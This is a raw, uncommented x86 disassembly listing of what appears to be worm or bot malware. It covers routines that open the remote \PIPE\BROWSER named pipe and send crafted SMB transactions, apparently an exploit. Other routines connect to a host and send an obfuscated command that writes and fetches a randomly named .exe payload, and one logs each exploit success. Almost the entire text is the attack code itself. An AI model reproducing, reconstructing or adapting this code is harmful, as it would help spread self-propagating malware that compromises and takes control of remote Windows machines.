		cmp	byte_43E0B0[esi], bl
		mov	[ebp-8], eax
		jz	short loc_40611B
		push	4
		add	eax, edi
		push	offset dword_455394
		push	eax
		call	sub_429420
		add	dword ptr [ebp-8], 0Ch
		mov	esi, offset dword_43E0C8
		mov	eax, [ebp-8]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_429420
		mov	eax, [ebp-8]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp-8], eax
		call	sub_429420
		mov	eax, [ebp-8]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_429420
		add	esp, 30h
		jmp	short loc_40614B
; ---------------------------------------------------------------------------


loc_40611B:				; CODE XREF: sub_405C99+433j
		cmp	byte_43E0B1[esi], bl
		jz	short loc_40614B
		add	eax, edi
		mov	dword ptr [ebp+var_10],	10h
		mov	[ebp-8], eax
		mov	esi, offset dword_43E0C8


loc_406134:				; CODE XREF: sub_405C99+4B0j
		push	4
		push	esi
		push	dword ptr [ebp-8]
		call	sub_429420
		add	dword ptr [ebp-8], 4
		add	esp, 0Ch
		dec	dword ptr [ebp+var_10]
		jnz	short loc_406134


loc_40614B:				; CODE XREF: sub_405C99+480j
					; sub_405C99+488j
		mov	eax, [ebp+var_4]
		add	eax, 42h
		push	eax
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword ptr [ebp+var_10],	esi
		jnz	short loc_406179
		push	[ebp+arg_CC]
		call	dword_437044	; CloseHandle
		push	edi
		call	sub_4298F2
		pop	ecx
		jmp	loc_4063B9
; ---------------------------------------------------------------------------


loc_406179:				; CODE XREF: sub_405C99+4C6j
		mov	eax, [ebp+var_4]
		add	eax, 42h
		push	eax
		push	ebx		; double
		push	esi
		call	sub_429760
		lea	eax, [ebp+var_70]
		push	14h
		push	eax
		push	esi
		call	sub_429420
		mov	eax, [ebp+var_4]
		mov	[ebp-8], ebx
		mov	dword ptr [ebp+var_10+4], eax
		add	esp, 10h
		fild	[ebp+var_10+4]
		fmul	flt_437300
		fstp	[esp+10h+var_10]
		call	sub_42A706
		call	sub_42A9E0
		push	[ebp+var_4]
		mov	[esi+1Ch], eax
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		mov	[esi+18h], ebx
		call	sub_429420
		mov	eax, [ebp+var_4]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp-8], eax
		jz	short loc_4061E3


loc_4061DB:				; CODE XREF: sub_405C99+545j
		inc	eax
		test	al, 3
		jnz	short loc_4061DB
		mov	[ebp-8], eax


loc_4061E3:				; CODE XREF: sub_405C99+540j
		lea	ecx, [ebp+var_30]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_429420
		add	dword ptr [ebp-8], 1Ch
		push	edi
		call	sub_4298F2
		push	18h
		lea	eax, [ebp+var_48]
		push	ebx
		push	eax
		call	sub_429760
		push	14h
		lea	eax, [ebp+var_5C]
		push	ebx
		push	eax
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	sub_429760
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	dword_437080	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	[ebp+var_4], ebx
		jmp	short loc_406252
; ---------------------------------------------------------------------------


loc_40624F:				; CODE XREF: sub_405C99+5F7j
					; sub_405C99+63Ej
		mov	esi, dword ptr [ebp+var_10]


loc_406252:				; CODE XREF: sub_405C99+5B4j
		cmp	[ebp+var_4], 2
		jge	loc_406390
		push	1
		push	10B8h
		push	dword ptr [ebp-8]
		inc	[ebp+var_4]
		push	esi
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_CC]
		rep movsd
		call	sub_405BAB
		add	esp, 2Ch
		test	al, al
		jz	loc_40638D
		cmp	[ebp+var_4C], ebx
		jz	short loc_40624F
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+arg_CC]
		call	dword_437084	; ReadFile
		test	eax, eax
		jnz	short loc_4062C7
		call	dword_437170	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_4063B9


loc_4062C7:				; CODE XREF: sub_405C99+61Bj
		push	64h
		push	[ebp+var_4C]
		call	dword_43707C	; WaitForSingleObject
		cmp	eax, 102h
		jnz	loc_40624F
		push	7D0h
		call	dword_437190	; Sleep
		movzx	eax, word_44399E
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0C4h
		push	31h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401B6E
		mov	edx, [ebp+arg_B4]
		add	esp, 0C8h
		mov	eax, edx
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		shl	eax, 6
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_C4], ebx
		mov	ecx, [ecx]
		jz	short loc_40635C
		cmp	[ebp+arg_BC], ebx
		jnz	short loc_406364
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_40635C:				; CODE XREF: sub_405C99+697j
		cmp	[ebp+arg_BC], ebx
		jz	short loc_406388


loc_406364:				; CODE XREF: sub_405C99+69Fj
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch


loc_406388:				; CODE XREF: sub_405C99+6C9j
		xor	eax, eax
		inc	eax
		jmp	short loc_4063BB
; ---------------------------------------------------------------------------


loc_40638D:				; CODE XREF: sub_405C99+5EEj
		mov	esi, dword ptr [ebp+var_10]


loc_406390:				; CODE XREF: sub_405C99+5BDj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_401E9E
		mov	edi, dword_437044
		pop	ecx
		push	[ebp+arg_CC]
		call	edi ; dword_437044
		push	esi
		call	sub_4298F2
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_4063B9
		push	[ebp+var_4C]
		call	edi ; dword_437044


loc_4063B9:				; CODE XREF: sub_405C99+167j
					; sub_405C99+215j ...
		xor	eax, eax


loc_4063BB:				; CODE XREF: sub_405C99+6F2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405C99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063C0	proc near		; CODE XREF: sub_406D7F+46Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		push	esi
		inc	ebx
		push	edi
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		call	sub_404525
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4063E6
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		pop	ecx
		pop	ecx


loc_4063E6:				; CODE XREF: sub_4063C0+17j
		cmp	eax, ebx
		jnz	short loc_4063EE


loc_4063EA:				; CODE XREF: sub_4063C0+31j
		push	0
		jmp	short loc_4063F9
; ---------------------------------------------------------------------------


loc_4063EE:				; CODE XREF: sub_4063C0+28j
		cmp	eax, 2
		jz	short loc_4063EA
		cmp	eax, 3
		jnz	short loc_406422
		push	ebx


loc_4063F9:				; CODE XREF: sub_4063C0+2Cj
		sub	esp, 0C4h
		lea	esi, [ebp+arg_8]
		push	31h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_4]
		rep movsd
		push	[ebp+arg_0]
		call	sub_405C99
		add	esp, 0D0h
		test	eax, eax
		jz	short loc_406422
		mov	eax, ebx
		jmp	short loc_406424
; ---------------------------------------------------------------------------


loc_406422:				; CODE XREF: sub_4063C0+36j
					; sub_4063C0+5Cj
		xor	eax, eax


loc_406424:				; CODE XREF: sub_4063C0+60j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4063C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406429	proc near		; DATA XREF: sub_4066E2+13Co

var_6A0		= byte ptr -6A0h
var_2A0		= byte ptr -2A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6A0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		inc	esi
		push	edi
		mov	[eax+0BCh], esi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	dword_454F60
		call	dword_456F7C	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_44399E
		push	eax
		call	dword_456F38	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_E], ax
		call	dword_456FD0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4066B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4066B1
		push	ebx
		lea	eax, [ebp+var_6A0]
		push	400h
		push	eax
		push	edi
		call	dword_456F58	; recv
		call	sub_429B9C
		push	9
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	esi
		lea	eax, [ebp+var_2A0]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		add	esp, 20h
		cmp	dword_456DA8, ebx
		jnz	loc_4065BD
		push	dword_454F60
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_0], offset dword_457CF8
		jnz	short loc_406532
		mov	[ebp+arg_0], offset dword_457C40


loc_406532:				; CODE XREF: sub_406429+100j
		lea	eax, [ebp+var_2A0]
		push	eax
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		lea	eax, [ebp+var_2A0]
		push	eax
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		call	sub_401A77
		push	eax
		call	sub_401A77
		push	eax
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		mov	esi, 190h
		push	dword_454A30
		lea	eax, [ebp+var_1A0]
		push	[ebp+arg_0]
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset aSSSDSSSSSSSSSS ; "%s %s	%s %d >> %s %s %s %s %s	>> %s %s "...
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 60h
		jmp	loc_40664A
; ---------------------------------------------------------------------------


loc_4065BD:				; CODE XREF: sub_406429+E5j
		mov	ebx, offset dword_456BA8
		push	ebx
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		call	sub_401AF0
		push	eax
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		call	sub_401AF0
		push	eax
		mov	esi, offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_401AF0
		push	eax
		push	ebx
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_401AF0
		push	eax
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_401AF0
		push	eax
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_401AF0
		push	eax
		mov	esi, 190h
		push	dword_4567A0
		lea	eax, [ebp+var_1A0]
		push	offset dword_4565A0
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	offset aSSSDSSSSSSSS_0 ; "%s %s	%s %d >> %s %s %s %s %s	>> %s %s "...
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 6Ch
		xor	ebx, ebx


loc_40664A:				; CODE XREF: sub_406429+18Fj
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4066B1
		push	esi
		call	dword_437190	; Sleep
		lea	eax, [ebp+var_2A0]
		push	eax
		push	offset aS_6	; "%s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4066B5


loc_4066B1:				; CODE XREF: sub_406429+5Ej
					; sub_406429+74j ...
		xor	eax, eax
		jmp	short loc_4066DB
; ---------------------------------------------------------------------------


loc_4066B5:				; CODE XREF: sub_406429+286j
		xor	esi, esi
		push	ebx
		lea	eax, [ebp+var_6A0]
		push	400h
		inc	esi
		push	eax
		push	edi
		mov	dword_4553A0, esi
		call	dword_456F58	; recv
		push	edi
		call	dword_456FF0	; closesocket
		mov	eax, esi


loc_4066DB:				; CODE XREF: sub_406429+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406429	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4066E2	proc near		; CODE XREF: sub_406D7F+2CBp

var_340		= byte ptr -340h
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		sub	esp, 340h
		lea	eax, [ebp+arg_8]
		push	ebx
		mov	dword_454F60, eax
		mov	eax, [ebp+arg_BC]
		mov	dword_455398, eax
		mov	eax, [ebp+arg_C4]
		mov	dword_45539C, eax
		mov	eax, [ebp+arg_B4]
		push	esi
		push	edi
		shl	eax, 6
		push	6
		xor	edi, edi
		add	eax, offset dword_43A357
		push	1
		push	2
		mov	[ebp+var_14], edi
		mov	dword_454AD8, eax
		call	dword_4372BC	; socket
		push	480h
		mov	esi, offset dword_454AE0
		push	edi
		push	esi
		mov	[ebp+var_8], 20804h
		call	sub_429760
		push	42Ah
		mov	ebx, offset dword_454F68
		push	0FFFFFF90h
		push	ebx
		call	sub_429760
		lea	eax, [ebp+arg_8]
		push	5
		push	eax
		call	sub_404525
		add	esp, 20h
		cmp	eax, 9
		mov	[ebp+var_10], eax
		jz	short loc_4067E7
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_23C]
		push	offset aSPipe	; "\\\\%s\\PIPE"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_340]
		push	offset aSPipeBrowser ; "\\\\%s\\PIPE\\BROWSER"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_23C]
		add	esp, 18h
		mov	[ebp+var_20], eax
		mov	eax, offset byte_454A54
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		mov	[ebp+var_30], edi
		mov	[ebp+var_24], edi
		mov	[ebp+var_18], edi
		call	sub_4290C4
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		lea	eax, [ebp+var_340]
		push	0C0000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_4067EE
		push	eax
		call	dword_437044	; CloseHandle


loc_4067E7:				; CODE XREF: sub_4066E2+8Cj
		xor	eax, eax
		jmp	loc_406C64
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_4066E2+FCj
		lea	ecx, [ebp+var_4]
		push	edi
		push	ecx
		lea	ecx, [ebp+var_138]
		push	104h
		push	ecx
		push	48h
		push	offset dword_43E0F0
		push	eax
		call	dword_437058	; TransactNamedPipe
		test	eax, eax
		jz	loc_406C59
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		push	offset sub_406429
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		cmp	[ebp+var_10], 2
		jz	loc_406A31
		cmp	[ebp+var_10], 1
		jz	loc_406A31
		cmp	[ebp+var_10], 3
		jnz	loc_406C4F
		push	dword_43E13C
		push	offset dword_43A8E8
		push	ebx
		call	sub_429420
		mov	eax, [ebp+var_8]
		push	4
		add	eax, 6
		pop	ebx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	offset dword_4551CC
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	offset dword_4551D8
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	offset dword_4551FC
		call	sub_429420
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	offset dword_455208
		call	sub_429420
		push	2
		push	offset dword_4553AC
		push	offset dword_45522C
		call	sub_429420
		add	esp, 48h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 31Ch
		push	2
		push	eax
		push	offset dword_43E0D8
		call	sub_429420
		lea	eax, [ebp+var_4]
		push	2
		push	eax
		push	offset dword_43E0E0
		mov	[ebp+var_4], 304h
		call	sub_429420
		push	18h
		push	offset dword_43E0D0
		push	esi
		call	sub_429420
		mov	esi, offset dword_43E1D0
		push	ebx
		push	esi
		push	offset dword_454AF8
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454AFC
		call	sub_429420
		mov	edi, offset dword_4553A4
		push	ebx
		push	edi
		push	offset dword_454B00
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	esi
		push	offset dword_454B04
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454B08
		call	sub_429420
		push	ebx
		push	offset dword_43E1C8
		push	offset dword_454B0C
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454B10
		call	sub_429420
		push	ebx
		push	offset dword_43E1C8
		push	offset dword_454B14
		call	sub_429420
		push	2C6h
		push	offset dword_454F68
		push	offset dword_454B18
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	esi
		push	offset dword_454DE0
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454DE4
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454DE8
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454DEC
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454DF0
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454DF4
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	edi
		push	offset dword_454DF8
		call	sub_429420
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		mov	ebx, 104h
		mov	esi, dword_437058
		push	0
		push	eax
		lea	eax, [ebp+var_138]
		push	ebx
		mov	edi, 31Ch
		push	eax
		push	edi
		push	offset dword_454AE0
		push	[ebp+var_C]
		call	esi ; dword_437058
		cmp	[ebp+var_4], 0
		jz	short loc_406A1F
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+var_138]
		push	ebx
		push	eax
		push	edi
		push	offset dword_454AE0
		push	[ebp+var_C]
		call	esi ; dword_437058


loc_406A1F:				; CODE XREF: sub_4066E2+322j
		push	7D0h
		call	dword_437190	; Sleep
		xor	ebx, ebx
		jmp	loc_406BC7
; ---------------------------------------------------------------------------


loc_406A31:				; CODE XREF: sub_4066E2+14Dj
					; sub_4066E2+157j
		push	dword_43E13C
		push	offset dword_43A8E8
		push	offset dword_4551C0
		call	sub_429420
		add	esp, 0Ch
		mov	edi, offset dword_455350
		push	4
		pop	ebx


loc_406A51:				; CODE XREF: sub_4066E2+385j
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	edi
		call	sub_429420
		add	edi, ebx
		add	esp, 0Ch
		cmp	edi, offset dword_455390
		jl	short loc_406A51
		lea	eax, [ebp+var_4]
		push	2
		push	eax
		push	offset dword_43E0D8
		mov	[ebp+var_4], 480h
		call	sub_429420
		lea	eax, [ebp+var_4]
		push	2
		push	eax
		push	offset dword_43E0E0
		mov	[ebp+var_4], 464h
		call	sub_429420
		push	18h
		push	offset dword_43E0D0
		push	esi
		call	sub_429420
		mov	esi, offset dword_43E1D0
		push	ebx
		push	esi
		push	offset dword_454AF8
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454AFC
		call	sub_429420
		mov	edi, offset dword_4553A4
		push	ebx
		push	edi
		push	offset dword_454B00
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	esi
		push	offset dword_454B04
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454B08
		call	sub_429420
		push	ebx
		push	offset dword_43E1C0
		push	offset dword_454B0C
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454B10
		call	sub_429420
		push	ebx
		push	offset dword_43E1C0
		push	offset dword_454B14
		call	sub_429420
		push	428h
		push	offset dword_454F68
		push	offset dword_454B18
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	esi
		push	offset dword_454F44
		call	sub_429420
		push	ebx
		push	offset dword_43E1B8
		push	offset dword_454F48
		call	sub_429420
		push	ebx
		push	edi
		push	offset dword_454F4C
		call	sub_429420
		push	ebx
		push	offset dword_43E1B8
		push	offset dword_454F50
		call	sub_429420
		push	ebx
		push	offset loc_43E154
		push	offset dword_454F54
		call	sub_429420
		push	ebx
		push	esi
		push	offset dword_454F58
		call	sub_429420
		add	esp, 48h
		push	ebx
		push	edi
		push	offset dword_454F5C
		call	sub_429420
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_138]
		push	104h
		push	eax
		push	480h
		push	offset dword_454AE0
		push	[ebp+var_C]
		call	dword_437058	; TransactNamedPipe
		push	7D0h
		call	dword_437190	; Sleep


loc_406BC7:				; CODE XREF: sub_4066E2+34Aj
		cmp	dword_4553A0, ebx
		jz	short loc_406C4C
		mov	edx, [ebp+arg_B4]
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	eax, edx
		mov	esi, offset aSSSExD ; "%s %s ->	%s (Ex:	%d)"
		shl	eax, 6
		lea	ecx, dword_43A380[eax]
		inc	dword ptr [ecx]
		cmp	dword_45539C, ebx
		mov	ecx, [ecx]
		jz	short loc_406C20
		cmp	dword_455398, ebx
		jnz	short loc_406C28
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_43A357[eax]
		push	ecx
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		mov	edx, [ebp+arg_B4]
		add	esp, 1Ch


loc_406C20:				; CODE XREF: sub_4066E2+512j
		cmp	dword_455398, ebx
		jz	short loc_406C4C


loc_406C28:				; CODE XREF: sub_4066E2+51Aj
		shl	edx, 6
		lea	eax, [ebp+arg_8]
		push	dword_43A380[edx]
		push	eax
		lea	eax, dword_43A357[edx]
		push	eax
		push	edi
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch


loc_406C4C:				; CODE XREF: sub_4066E2+4EBj
					; sub_4066E2+544j
		xor	edi, edi
		inc	edi


loc_406C4F:				; CODE XREF: sub_4066E2+161j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_401E9E
		pop	ecx


loc_406C59:				; CODE XREF: sub_4066E2+12Dj
		push	[ebp+var_C]
		call	dword_437044	; CloseHandle
		mov	eax, edi


loc_406C64:				; CODE XREF: sub_4066E2+107j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4066E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C69	proc near		; CODE XREF: sub_407281+3Fp

var_4		= byte ptr -4
arg_8		= byte ptr  10h
arg_110		= dword	ptr  118h
arg_138		= dword	ptr  140h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_110], 0FFFFFFFFh
		push	edi
		jz	loc_406D7C
		push	0Ch
		call	sub_423800
		test	eax, eax
		pop	ecx
		jnz	loc_406D7C
		xor	edi, edi
		cmp	dword_457F68, edi
		jnz	short loc_406CB8
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		cdq
		mov	ecx, 9CBDh
		idiv	ecx
		inc	edx
		mov	dword_4555C4, edx
		jmp	short loc_406CC4
; ---------------------------------------------------------------------------


loc_406CB8:				; CODE XREF: sub_406C69+2Aj
		movzx	eax, word_44399A
		mov	dword_4555C4, eax


loc_406CC4:				; CODE XREF: sub_406C69+4Dj
		push	esi
		mov	esi, offset dword_4553B4
		push	104h
		push	esi
		push	edi
		mov	dword_4555C0, edi
		call	dword_43717C	; GetModuleFileNameA
		push	103h
		push	offset dword_4439A8
		push	offset dword_4554B8
		call	sub_429D10
		lea	eax, [ebp+arg_8]
		push	7Fh
		push	eax
		push	offset dword_4555C8
		mov	dword_455654, edi
		call	sub_429D10
		mov	eax, [ebp+arg_138]
		push	esi
		push	dword_4555C4
		mov	dword_455658, eax
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		push	offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		push	offset aSSSIFileS_ ; "%s %s, %s: %i, File: %s."
		push	0Ch
		call	sub_4234A7
		add	esp, 34h
		mov	dword_4555BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	offset dword_4553B0
		push	offset sub_402CE9
		push	edi
		push	edi
		call	dword_437180	; CreateThread
		mov	ecx, dword_4555BC
		pop	esi
		imul	ecx, 2724h
		cmp	eax, edi
		mov	dword_46D72C[ecx], eax
		jz	short loc_406D7C
		jmp	short loc_406D74
; ---------------------------------------------------------------------------


loc_406D6C:				; CODE XREF: sub_406C69+111j
		push	32h
		call	dword_437190	; Sleep


loc_406D74:				; CODE XREF: sub_406C69+101j
		cmp	dword_455654, edi
		jz	short loc_406D6C


loc_406D7C:				; CODE XREF: sub_406C69+Cj
					; sub_406C69+1Cj ...
		pop	edi
		leave
		retn
sub_406C69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D7F	proc near		; DATA XREF: sub_407281+B0o

var_210		= byte ptr -210h
var_200		= byte ptr -200h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_14C		= dword	ptr -14Ch
var_144		= byte ptr -144h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Eh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		xor	esi, esi
		push	10h
		inc	esi
		push	0
		mov	[eax+134h], esi
		mov	eax, [ebp+var_14C]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_456F38	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_30]
		push	6
		push	esi
		push	2
		mov	[ebp+var_10], eax
		call	dword_456FD0	; socket
		push	offset dword_457C40
		mov	edi, eax
		push	[ebp+var_30]
		mov	[ebp+var_4], edi
